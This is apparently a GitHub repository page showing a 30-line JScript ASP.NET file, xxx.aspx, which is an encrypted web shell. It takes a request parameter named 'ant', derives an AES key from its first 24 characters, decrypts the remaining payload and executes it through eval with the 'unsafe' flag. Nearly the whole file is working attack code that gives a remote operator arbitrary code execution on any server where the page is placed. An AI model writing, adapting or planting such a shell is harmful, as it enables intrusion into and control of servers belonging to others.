-
Notifications
You must be signed in to change notification settings - Fork 3
/
xxx.aspx
30 lines (29 loc) · 1.21 KB
/
xxx.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%@ Page Language="Jscript"%>
<%
var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
aes.Padding = 3;
aes.KeySize = 128;
function B64Decode(b64Str){
var bytes = utf8.GetBytes(b64Str);
var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
return decoded_bytes;
}
function Decrypt(cipherText, aesKey){
var aesKeyBytes = utf8.GetBytes(aesKey);
aes.IV = aesKeyBytes;
var cipherBytes = B64Decode(cipherText);
var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
var res = utf8.GetString(plainBytes);
return res;
}
var data = Request.Item["ant"];
var aesKey = data.substring(0,24);
aesKey = utf8.GetString(B64Decode(aesKey));
var encrypt_res = data.substring(24);
var decrypted = Decrypt(encrypt_res, aesKey);
eval(decrypted,"unsafe");
%>